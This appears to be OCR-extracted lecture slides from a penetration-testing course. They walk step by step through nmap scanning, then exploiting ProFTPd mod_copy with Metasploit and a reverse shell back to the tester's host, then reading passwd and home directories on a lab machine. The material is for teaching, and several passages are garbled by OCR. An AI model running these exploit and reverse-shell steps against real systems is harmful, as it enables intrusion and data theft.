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Agenda

* Mid-term issues
* Some thoughts on how to approach Milestone 3



https://anthonyvance.com/security-assignments/projects/pen-test.html

Mid-Term Issue

* For questions 8 and 9, we were instructed to examine the following
files:

https://anthonyvance.com/files/ProgramA.exe and
https://anthonyvance.com/files/ProgramB.exe

e During the exam, | clicked on both files which gave me a 404 error. |

tried different browsers and | had no luck. | decided to guess on both
guestions.


https://anthonyvance.com/files/ProgramA.exe
https://anthonyvance.com/files/ProgramB.exe

Some thoughts on how to approach Milestone 3

Penetration testing involves experimentation

Basic Penetration Testing Workflow

* Pre-engagement Interactions
* Intelligence Gathering
e Threat Modeling

* Vulnerability Analysis
> Iterative experimentation
* Exploitation

-

* Post Exploitation
* Reporting



VPN connection to remote host target

File Edit View Terminal Tabs Help
1s

client.conf temple client.conf.z

geocryp4596@kali:~$ sudo openvpn client.conf

Tue Mar 17 05:30:33 2020 OpenVPN 2.4.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Feb 20 2019

ue Mar 17 05:30:33 2020 library versions: OpenSSL 1.1.1c 28 May 2019, LZ0 2.10

ue Mar .17 AR-20-22° 2A2A Nutannina Cantral Channal Authantircatinn: lleina 1AA hit maccana hach 'QHA1' far HMAC authanticatiaon

ue Mar File Edit View Terminal Tabs Help

ue Mar
M e . i ) | -
e Mar geocl ,, Rkali:~$ 1s
ue
ue

ue
dress=ar

e Mar gepcryp4596@kali:~$ sudo openvpn client.conf

ue Mar *

ve Mar Tye Mar 17 05:30:33 2020 OpenVPN 2.4.7 x86 64-pc-linux-gnu [SSL (OpenSSL) ]

ue Mar

we var Tue Mar 17 05:30:33 2020 library versions:

dress=ar

OpenSSL 1.1.1c

[LZO] [0

28 May 2019, LZ0 2.10

ve var TUe Mar 17 05:30:33 2020 Out901ng Control Channel Authentlcatlnn- U51ng 160 bit meg

ue Mar
ue Mar
ue Mar
tart 120
ue Mar — . . o — — - - -
ue Mar =30 OPTIONS IMPORT: ——1fconflg/up options modified
ue Mar :30: OPTIONS IMPORT: route options modified
Tue Mar Outgoing Data Channel: Cipher 'AES-128-CBC' initialized with 128 bit key
ue Mar ! :30: Outgoing Data Channel: Using 160 bit message hash 'SHAl1' for HMAC authentication
ue Mar :30: Incoming Data Channel: Cipher 'AES-128-CBC' initialized with 128 bit key
ue Mar :30: Incoming Data Channel: Using 160 bit message hash 'SHAl1' for HMAC authentication
ue Mar 330 ROUTE_GATEWAY 10.128.0.1
ue Mar :30: TUN/TAP device tun0® opened
ue Mar =30 TUN/TAP TX queue length set to 100
ue Mar 30 /sbin/ip link set dev tun@ up mtu 1500
ue Mar :30: /sbin/ip addr add dev tun®@ local 10.8.0.158 peer 10.8.0.157
ue Mar :30: /sbin/ip route add 172.32.0.0/16 via 10.8.0.157
ue Mar | :30: /sbin/ip route add 10.8.0.0/24 via 10.8.0.157
ue Mar :30: WARNING: this configuration may cache passwords in memory -- use the auth-nocache option to prevent this
ue Mar :30: Initialization Sequence Completed
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Make sure you can reach your target machine

= Terminal - geocryp4596@kali: ~

File Edit View Terminal Tabs Help

geocryp4596@kali:~$ ping 172.32.25.133

PING 172.32 25.133 (172.32.25.133) 56(84) bytes of data.

64 bytes from 172.32.25.133: icmp seq=1 ttl=63 time=28.8 ms

64 bytes from 172.32.25.133: icmp _seq=2 ttl=63 time=22_0 _mc I
64 bytes from 172.32.25.133: icmp seq=3 ttl=63 & N peree Tanes
b4 by tes=from.172.32.25.133: icmp seq=4 tt1=63 {EEEEEECARSIcOaIHEE Rl

64 bytes from 172.32.25.133: icmp_seq=5 ttl=63 tIeocryp4s9bekali:=s |

64 bytes from 172.32.25.133: icmp seq=6 ttl=63

64 bytes from 172.32.25.133: icmp seq=7 ttl=63

64 bytes from 172.32.25.133: icmp seq=8 ttl=63

64 bytes from 172.32.25.133: icmp seq=9 ttl=63

64 bytes from 172.32.25.133: icmp seq=10 ttl=63

64 bytes from 172.32.25.133: icmp seg=11 ttl=63

2C

---172.32.25.133 ping statistics ---

11 packets transmitted, 11 received, 0% packet 1

rtt m1n/avg/max/mdev = 28.169/28.686/29.314/0.3€

geocryp4596@kali:~$ clearl




ols A0 NMAP

SCANNING
alle N NeTEe M - a a AE
a [J d & U C C C U c 2 Eg'don “Fyodor” ..II.!.?P,

geocryp4596@kali:~$ nmap -sV 192.168.55.100

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-26 19:04 EST
Nmap scan report for 192.168.55.100

Host is up (0.0018s latency).

Not shown: 989 closed ports

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7 (protocol 2.0)
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)

8000/tcp open http Icecast streaming media server
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC

Service Info: Host: IE8BWIN7; 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 61.46 seconds
geocryp4596@kali:~$ l


https://nmap.org/book/man.html
https://nmap.org/book/man-version-detection.html

File Edit View Terminal Tabs Help
geocryp4596@kali:~$ sudo nmap -Pn -sS -A 172.32.25.133

\/u | n e ra b| I |ty Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-17 05:48 EDT

map scan report for 172.32.25.133
ost is up (0.040s latency).

. ot shown: 997 closed ports
n a yS I S PORT STATE SERVICE VERSION
P1/tcp open ftp ProFTPD 1.3.5rc3
22/tcp open ssh OpenSSH 6.6.1pl1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:

, | 1024 ¢c1:26:32:1e:29:8f:a6:63:64:4e:04:d6:fd:47:ee:d9 (DSA)
| 2048 82:76:ee:ce:e7:2b:86:68:e9:ae:87:40:c3:f5:14:eb (RSA)
Let S Scan for Open ports | 256 61:7a:9a:2b:ca:b5:b2:e0:db:80:bd:58:22:f4:c7:e1l (ECDSA)
. | 256 94:67:76:54:4b:12:53:18:17:42:b3:16:ab:78:d9:0e (ED25519)
On the target maChlne 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
/test/
and See What We Can :http-server-header: Apache/2.4.7 (Ubuntu)

http-robots.txt: 1 disallowed entry

| _http-title: Starter Template for Bootstrap

€arn... 0 eXaclgeocrypd596@kali:~$ sudo nmap -Pn -sS -A 172.32.25.133
.scaN(Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-17 05:48 EDT
ﬁ|00k for open TCP ports :D%P=>Nmap scan report for 172.32.25.133
:(01=p -
inw7eHOst 1s up (0.040s latency).
: (R=YaNot shown: 997 closed ports
fﬁﬁ&PORT STATE SERVICE VERSION
-Pn do not use Ping ._r%0-21/tcp open ftp ProFTPD 1.3.5rc3
‘RUCK=22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2./7 (Ubuntu Linux;
otwork | SSh-hostkey:
Service | 1024 ¢1:26:32:1e:29:87:a6:63:64:4e:04:d6:fd:47:ee:d9 (DSA)
RACEROL| 2048 82:7/6:ee:ce:e/:2b:86:68:e9:ae:87:40:c3:f5:14:eb (RSA)
oP RTT | 256 61:7a:9a:2b:ca:b5:b2:e0:db:80:bd:58:22:f4:c7:el (ECDSA)
38.1] 256 94:67:76:54:4b:12:53:f8:17:42:b3:16:ab:78:d9:0e (ED25519)
38"8(9/tcp open http Apache httpd 2.4.7 ((Ubuntu))
0s and ¢| http-robots.txt: 1 disallowed entry
ik A
'“0”’w|_http-server—header: Apache/2.4.7 (Ubuntu)

| http-title: Starter Template for Bootstrap

-A detect OS and versions


https://nmap.org/book/man-port-scanning-techniques.html
https://nmap.org/book/man-os-detection.html

Metasploit Framework

* Let’s see what exploits are available for ftp and ssh
»ProFTPd 1.3.5rc3

Date ¥ D A Title
% Exploit Database - Exploits for Pe X S EpmtDatseseach x|+ 2015-06-10 ¥ +*  ProFTPd 1.3.5 - 'mod_copy’ Command Execution (Metasploit)
6 c n loit-db < c @ exploit-db.com/search?c=ProFTPd
=ipieitebeom 2015-04-21 * ¥ ProFTPd 1.3.5 - ' mod_copy' Remote Command Execution
i EPLOTDATARASE 2015-04-13 hd ~  ProFTPd 1.3.5 - File Copy

Exploit Database Advanced Search

e . 2011-12-01 FreeBSD - ‘ftpd / ProFTPd’ Remote Command Execution
20110207 ¥ ProFTPd - 'mod_sftp' Integer Overflow Denial of Service (PoC)
-

|4
X

4=

Content

GHDB Exploit content

T 2011-01-09 ¥ [ +] +  ProFTPd 1.3.2 rc3 < 1.3.3b (Linux) - Telnet IAC Buffer Overflow (Metasploit)
e
2011-01-09 * [+ +  ProFTPd 1.2 < 1.3.0 (Linux) - 'sreplace’ Remote Buffer Overflow (Metasploit)
L w12 v
+ —_ L e 2010-12-03 * +  ProFTPd-1.3.3c - Backdoor Command Execution (Metasploit)
2015-06-10 * +~ ProFTPd 1.3.5 - 'mod_copy Command Execu
- 0150821 . X ProFTPd13 5-mod_copy Remote Commar 2010-12-02 * [+ +  ProFTPd 1.3.3c - Compromised Source Backdoor Remote Code Execution
a ST - 2015-04-13 * +~/  ProFTPd 1.3.5 - File Copy )
0111201 . % FreeBsp fipd s ProFTRg Remotecommane 210 10-12-02 * +  ProFTPd 1.3.2rc3 < 1.3.3b (FreeBSD) - Telnet IAC Buffer Overflow (Metasploit)
b 2011-02-07 * X ProFTPd - 'mod_sftp’ Integer Overflow Denial
/| SEARCHSPLOITMANUAL 20119199 + B . PoFPd132rca<133bLnug-Tenetis  2010-11-07 * [+ | " ProFTPd IAC 1.3.x - Remote Command Execution
2011-01-09 * a +  ProFTPd 1.2 < 1.3.0 (Linux) - 'sreplace’ Remo
201012:03 s < ProFTPd 1330 - Backdoor command e 2009-10-12 * [+ +  ProFTPd 1.3.0 {OpenSUSE) - 'mod_ctrls’ Local Stack Overflow
2010-12-02 * a +~  ProFTPd 1.3.3c- Compromised Source Backs
2016-12:02 s v ProrTRd132rc3 <1 30b (Freessn) -tene 2009-02-10 ¥ +  ProFTPd - 'mod_mysgl’ Authentication Bypass
20101107 * a ~/  ProFTPd IAC 1.3.x - Remote Command Exect
2006-10-12 * B . ProFTPd 1.3.0 (OpenSUSE)-'mod_ctrds' Loca  “M™ ¥ e ' s ! ! “ma' 7 Inie
2009-02-10 * +/ ProFTPd-'mod_mysgl' Authentication Bypass remote Multiple gat3way



Metasploit Framework
»ProFTPd 1.3.5

B exploit-db.com/exploits/37262

“EXPLOIT

DATABASE

ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit)

EDB-ID: CVE: Author: Type: Platform: Date:
2015-3306 METASPLOIT REMOTE LINUX
EDB Verified: Exploit: & / {} Vulnerable App:

e

#H

# This module requires Metaspleoit: http://metaspleoit.com/download

# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core’

class Metasploit3d < Msf::Expleoit::Remote

Rank = ExcellentRanking

include Msf::Expleoit::Remote::Tcp
include Msf::Expleoit::Remote::HttpClient

super(updat

ame '

mmand Execution’




NIST = NVD MENU

Information Technology Laboratory

NATIONAL VULNERABILITY DATABASE N\,D

ProFTPD 1.3.5 Mod_Copy Command Execution

Disclosed Created
JIKCVE-2015-3306 Detail

04/22/2015 05/30/2018 MerAIS QUICK INFO

CVE Dictionary Entry:
CVE-2015-3306
NVD Published Date:

This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to
the information provided.

.. 05/18/2015
. e Current Description NVD Last Modified:
Descrl ptlon The mod_copy module In ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands. 01/02/2017

Source: MITRE
+View Analysis Description

Seve r|ty CVSS Version 3.x CVSS Version 2.0

CVSS 3.x Severity and Metrics:

This module exploits the SITE CPFR/CPTO commands in ProFTPD version 1.3.5. Any unauthenticated client
can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy
commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of Q = Base score: [ NVD score ot yet provided.

the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote
References to Advisories, Solutions, and Tools

Code e:{ecu'[ |0n |5 ma [:Ie pos g | bl e, By selecting these links, you will be [eaving NIST webspace. We have provided these links to other web sites because they may have
information that would be of interest to you. No inferences should be drawn on account of other sites being referenced, or not, from this
page. There may be other web sites that are more appropriate for your purpose. NIST does not necessarily endorse the views expressed,
orconcur with the facts presented on these sites. Further, NIST does not endorse any commercial products that may be mentioned on

AUthOf(S) these sites. Please address comments about this page to nvd@nist.gov.

Va d i m M e | | h O W http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157053.html
http://lists.fedoraproject.org/pipermail/package-announce/2015-May/157054.html
xistence <xistence@0x90.nl= https/lists.fedoraproject.org /pipermail/package-announce/2015-May/ 157581 html

http://lists.opensuse.org/opensuse-updates/2015-06/msg00020.html
http://packetstormsecurity.com/files/131505/ProFTPd-1.3.5-File-Copy.html

P-I atfo m http//packetstormsecurity.com/files/131555/ProF TPd-1.3.5-Remote-Command-Execution.html
http://packetstormsecurity.com/files/131567/ProFTPd-CPFR-CPTO-Proof-Of-Concept.html
http://packetstormsecurity.com/files/132218/ProFTPD-1.3.5-Mod_Copy-Command-Execution.html

. http://www.debian.org/security/2015/dsa-3263

U n IX http://www.rapid7.com/db/modules/exploit/unix/ftp/proftpd_modcopy_exec
http://www.securityfocus.com/bid/74238
https:/fwww.exploit-db.com/exploits/36742/ [ Exploi ]

Architectures o fanw explot db.comjsplors/ 663 o

Weakness Enumeration

cmd I S S

CWE-284 Improper Access Control NIST

Known Affected Software Configurations swiichtocpe2.2

Configuration 1 (hide )
¥ cpe:2.3:a:proftpd:p 350y
Show Matching CPE(s)>

Change History

7 change records found - show changes




Metasploit Framework

1. Switch to root, i.e.“su” user
2. msfdb Inlt geocryp4596@kali:~$

Password:
root@kali: # msfdb init
3. msfconsole |[EAEERT IR IR TIaTT
[1] The database appears to be already configured, skipping initialization
root@kali: # msfconsole

[IIII1 e
II -IIIII-I/I\\.UIII'

II R A

Il -

IT Yo | \

TIITII -

I love shells --egypt

1914 exploits - 1074 auxiliary - 330 post
556 payloads - 45 encoders - 10 nops
4 evasion

| | | A |
[ p— p— p—




File Edit View Terminal Tabs Help
msf5 > search mod_copy

Matching Modules

# Name Disclosure Date Rank Check Description

exploit/unix/ftp/proftpd modcopy exec excellent Yes ProFTPD 1.3.5 Mod Copy Command Execution




File Edit View Terminal Tabs Help

msf5 > use exploit/unix/ftp/proftpd modcopy exec
msf5 exploit(unix/ftp/proftpd modcopy exec) > show options

Module options (exploit/unix/ftp/proftpd modcopy exec):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier

RPORT 80 yes HTTP port (TCP)

RPORT_FTP 21 yes FTP port

SITEPATH /var/www yes Absolute writable website path

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI / yes Base path to the website

TMPPATH /tmp yes Absolute writable path

VHOST no HTTP server virtual host

Exploit target:

Id Name

0 ProFTPD 1.3.5

msf5 exploit(unix/ftp/proftpd modcopy exec) > |



msfS5 exploit(unix/ftp/proftpd modcopy exec) > set RHOSTS 172.32.25.133
RHOSTS => 172.32.25.133
msf5 exploit(unix/ftp/proftpd modcopy exec) > show options

Module options (exploit/unix/ftp/proftpd modcopy exec):

Current Setting Required Description

Name

Proxies

RHOSTS ¥r12:32:75.333
RPORT 80

RPORT _FTP 21
SITEPATH /var/www

SSL

false

TARGETURI /
TMPPATH /tmp
VHOST

Exploit

target:

Id Name

0

ProFTPD 1.3.5

no
yes
yes
yes
yes
no

yes
yes
no

A proxy chain of format type:host:port[,type:host:port]|[...]
The target address range or CIDR identifier

HTTP port (TCP)

FTP port

Absolute writable website path

Negotiate SSL/TLS for outgoing connections

Base path to the website

Absolute writable path

HTTP server virtual host




msf5 exploit(unix/ftp/proftpd modcopy exec) > show payloads

Compatible Payloads

# Name Disclosure Date Rank

© cmd/unix/bind awk normal
1 cmd/unix/bind perl normal
2 cmd/unix/bind perl _ipvb normal
3 cmd/unix/generic normal
4 cmd/unix/reverse_awk normal
5 c<md/unix/reverse_perl normal
6 cmd/unix/reverse perl ssl normal
/7 cmd/unix/reverse python normal
8 cmd/unix/reverse python _ssl normal

msf5 exploit(unix/ftp/proftpd modcopy exec) > |

Check Description

Command Shell, Bind TCP (via AWK)

Command Shell, Bind TCP (via Perl)

Command Shell, Bind TCP (via perl) IPv6
Command, Generic Command Execution

Command Shell, Reverse TCP (via AWK)
Command Shell, Reverse TCP (via Perl)
Command Shell, Reverse TCP SSL (via perl)
Command Shell, Reverse TCP (via Python)
Command Shell, Reverse TCP SSL (via python)




Linux “awk”

* AWK (awk) is a linux/unix specific language “designed for text
processing and typically used as a data extraction and reporting too
LIt is a filter and is a standard feature of most Unix-like operating

syste ms.” https://en.wikipedia.org/wiki/AWK

|Il

* “The name awk comes from the initials of its designers: Alfred V. Aho,
Peter J. Weinberger, and Brian W. Kernighan. The original version of
awk was written in 1977 at AT&T Bell Laboratories. In 1985, a new
version made the programming language more powerful, introducing
user-defined functions, multiple input streams, and computed regular

. ”
expressions. https://www.gnu.org/software/gawk/manual/gawk.html#Foreword3


https://www.gnu.org/software/gawk/manual/gawk.html

msf5 exploit(unix/ftp/proftpd modcopy exec) > set payload cmd/unix/reverse awk
payload => cmd/unix/reverse_awk
msf5 exploit(unix/ftp/proftpd modcopy exec) > exploit

i

(-1 172.32.25.133:80 - Exploit failed: The following options failed to validate: LHOST.
Exploit completed, but no session was created.
msf5 exploit(unix/ftp/proftpd modcopy exec) > show options

Module options (exploit/unix/ftp/proftpd modcopy exec):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.32.25.133 yes The target address range or CIDR identifier

RPORT 80 yes HTTP port (TCP)

RPORT _FTP 21 yes FTP port

SITEPATH /var/www yes Absolute writable website path

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI / yes Base path to the website

TMPPATH /tmp yes Absolute writable path

VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse awk):

Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 ProFTPD 1.3.5




msf5 exploit(unix/ftp/proftpd modcopy exec) > ifconfig
exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1460
inet 10.128.0.3 netmask 255.255.255.255 broadcast 10.128.0.3
inetb fe80::4001:aff:fe80:3 prefixlen 64 scopeid 0x20<link>
ether 42:01:0a:80:00:03 txqueuelen 1000 (Ethernet)
RX packets 82620 bytes 27529498 (26.2 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1080759 bytes 691161946 (659.1 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inetb ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 9941 bytes 3010895 (2.8 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9941 bytes 3010895 (2.8 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

tun®: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500
inet 10.8.0.158 netmask 255.255.255.255 destination 10.8.0.157
inetb fe80::143:1657:d04:cc06 prefixlen 64 scopeid 0x20<link>
unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 100 (UNSPEC)
RX packets 5089 bytes 344289 (336.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 5630 bytes 315923 (308.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

virbr0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 192.168.55.101 netmask 255.255.255.0 broadcast 192.168.55.255
ether 52:54:00:87:3b:95 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0




STo exXpLolt(unix/TTp/proTtpd modcopy exec) > Show options

odule options (exploit/unix/ftp/proftpd modcopy exec):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.:32.25-133 yes The target address range or CIDR identifier

RPORT 80 yes HTTP port (TCP)

RPORT _FTP 21 yes FTP port

SITEPATH /var/www yes Absolute writable website path

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI / yes Base path to the website

TMPPATH /tmp yes Absolute writable path

VHOST no HTTP server virtual host

Payload options (cmd/unix/reverse awk):

Name Current Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 ProFTPD 1.3.5

sf5 exploit(unix/ftp/proftpd modcopy exec) > set LHOST 192.168.55.101
LHOST => 192.168.55.101
sf5 exploit(unix/ftp/proftpd modcopy exec) > [




msf5 exploit(unix/ftp/proftpd modcopy exec) > show options

Module options (exploit/unix/ftp/proftpd modcopy exec):

Name

Prox

Current Setti

ies

RHOSTS 172.32:25133
RPORT 80
RPORT_FTP 21

SLTE
SSL
TARG

PATH /var/www
false
ETURI [/

TMPPATH /tmp
VHOST

ng

Required Description

yes
yes
yes
yes
no

yes
yes
no

A proxy chain of format type:host:port[,type:host:port][...]
The target address range or CIDR identifier

HTTP port (TCP)

FTP port

Absolute writable website path

Negotiate SSL/TLS for outgoing connections

Base path to the website

Absolute writable path

HTTP server virtual host

Payload options (cmd/unix/reverse perl):

Name

Current Setting Required Description

LHOST 10.8.0.158
LPORT 4444

Exploit

target:

Id Name

0

ProFTPD 1.3.5

yes

The listen address (an interface may be specified)
The listen port




No payload needed!

msf5 exploit(unix/ftp/proftpd modcopy exec) > exploit

Started reverse TCP handler on 10.8.0.158:4444

172.32.25.133:80 - 172.32.25.133:21 - Connected to FIP server
172.32.25.133:80 - 172.32.25.133:21 - Sending copy commands to FTP server
172.32.25.133:80 - Executing PHP payload /Tt6hub.php

Command shell session 2 opened (10.8.0.158:4444 -> 10.8.0.66:60160) at 2020-03-19 08:49:23 -0400

msf5 exploit(unix/ftp/proftpd modcopy exec) > exploit

Started reverse TCP handler on 10.8.0.158:4444

172.32.25.133:80 - 172.32.25.133:21 - Connected to FTP server
172.32.25.133:80 - 172.32.25.133:21 - Sending copy commands to FTP server
172.32.25.133:80 - Executing PHP payload /Tt6hub.php

Command shell session 2 opened (10.8.0.158:4444 -> 10.8.0.66:60160) at 2020-03-19 08:49:23 -0400

pwd
/var/www
vhoami
yww-data




We obtained a “Jail shell”

msfS5 exploit(unix/ftp/proftpd modcopy exec) > exploit

Started reverse TCP handler on 10.8.0.158:4444

172.32.25.133:80 - 172.32.25.133:21 - Connected to FIP server

172.32.25.133:80 - 172.32.25.133:21 - Sending copy commands to FTP server

172.32.25.133:80 - Executing PHP payload /Tt6hub.php

Command shell session 2 opened (10.8.0.158:4444 -> 10.8.0.66:60160) at 2020-03-19 08:49:23 -0400

pwd
/var/www
whoami
www-data
help

Meta shell commands

Command Description

help Help menu

background Backgrounds the current shell session

sessions Quickly switch to another session

resource Run a meta commands script stored in a local file
shell Spawn an interactive shell (*NIX Only)

download Download files (*NIX Only)

upload Upload files (*NIX Only)

source Run a shell script on remote machine (*NIX Only)

irb Open an interactive Ruby shell on the current session

pry Open the Pry debugger on the current session



Spawning a TTY (“teletype” terminal) shell

* Type: “/bin/sh —i"

shell

Trying to find binary(python) on target machine
Found python at /usr/bin/python
Using “python” to pop up an interactive shell

help

Meta shell commands

help
background
sessions
resource
shell
download
upload
source
irb
pry
/bin/sh -1i
/bin/sh -i

N |

Help menu

Backgrounds the current shell session

Quickly switch to another session

Run a meta commands script stored in a local file
Spawn an interactive shell (*NIX Only)

Download files (*NIX Only)

Upload files (*NIX Only)

Run a shell script on remote machine (*NIX Only)

Open an interactive Ruby shell on the current session
Open the Pry debugger on the current session



$ whoami

whoami

www-data

$ pwd

pwd

/var/www

$ Ls

ls

OyHt279.php CuHb5e.php NsCTe.php b8FIb.php 19V2Xbu.php test
8JEK3 .php KOGLwJr.php SqgaNWI.php 1iMqgGh.php LJ8uirX.php xyVuqg.php
AZdCe.php Kh9VeWP.php Ttéhub.php index.html onkos81.php
BigqGIOz.php MWmxXA1lV.php YESrVcg.php JtbxN93.php robots.txt




dev
etc

home
initrd.img

lib
1ib64

lost+found mnt

media

proc run srv tmp var
opt root sbin sys usr vmlinuz

shadow

shadow-

gshadow
gshadow-
hdparm.conf
host.confT

pam.c
passwd
passwd-
perl

adduser.conf
alternatives

bash_completion

bash_completion.d

initramfs-tools
inputrc

insserv
insserv.conf
insserv.conf.d
iproute2

iscsi

issue

issue.net

kbd

kernel
kernel-img.conf
landscape
1d.so.cache

bindresvport.blacklist 1d.so.conf

ca-certificates

ca-certificates.conf

calendar
chatscripts
console-setup
cron.d
cron.daily
cron.hourly
cron.monthly

S T

uvus - 1L
debconf.conf
debian_version
default
deluser.conf

environment
fonts

fstab
fstab.d
fstab.orig
ftpusers
fuse.conf

1d.so.conf.d
ldap

legal
libaudit.conf
libnl-3
locale.alias
localtime
logcheck
login.defs
logrotate.conf
logrotate.d
lsb-release

S E

mayto
magic.mime
mailcap
mailcap.order
manpath.config
mime.types
mke2fs.conf
modprobe.d
modules

mtab

mysql

nanorc
network
networks

newt
nsswitch.conf
openvpn

opt
os-release
pam.conf
pam.d

passwd
passwd-

perl

php5

pm

polkit-1

popularity-contest.conf

ppp
profile
profile.d

proftpd
protocols
python
python2.7
python3
python3.4
rc.local
rco.d
rcl.d
rc2.d
rc3.d
rcd.d
rc5.d
rcé.d
rcS.d
resolv.conf
resolvconf
rmt

rpc

rsyslog.conf

rsyslog.d
screenrc
securetty
security
selinux
services
sgml
shadow
shadow-
shells
skel
ssh
ssl
subgid
subgid-
subuid
subuid-
sudoers
sudoers.d

sysctl.conf

sysctl.d
systemd
terminfo
timezone
ucf.conf
udev
ufw
update-manager
update-motd.d

update-notifier
updatedb.conf
upstart-xsessions

vim
vtrgb
w3m
wgetrc

xml

zsh_command_not_fo

wpa_supplicant



cat passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:X:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin

Which accounts might

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin have data N them d
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin hacker would be
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin interested in?

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/1lib/1libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
justin:x:1000:1000:Justin,,,:/home/justin:/bin/bash
proftpd:x:105:65534::/var/run/proftpd:/bin/false
ftp:x:106:65534::/srv/ftp:/bin/false

mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
bcurtis:x:1001:1001:Brent Curtis,,,:/home/bcurtis:/bin/bash
tyler:x:1002:1002:Tyler,,, :/home/tyler:/bin/bash
mmoxie:x:1003:1003:Marlin Moxiespike,,,:/home/mmoxie:/bin/bash
jcomey:x:1004:1004:,,,:/home/jcomey:/bin/bash
pzimm:x:1005:1005:Phil Zimmerman,,,:/home/pzimm:/bin/bash
bschneier:x:1006:1006:Bruce Schneier,,,:/home/bschneier:/bin/bash
cincinnatus:x:1007:1007:Edward Snowden, ,,:/home/cincinnatus:/bin/bash




Next steps

$ cd /home

cd /home

$ 1s

ls

bcurtis bschneier cincinnatus Jjcomey justin mmoxie pzimm tyler
¢ cd bcurtis

cd bcurtis

go-away.txt tmp

¢ cat go-away.txt

cat go-away.txt

Nothing to see in my home dir, go away!

* Checkout command “scp” for moving files from target back to your Kali




Agenda

v'"Mid-term issues
v'Some thoughts on how to approach Milestone 3



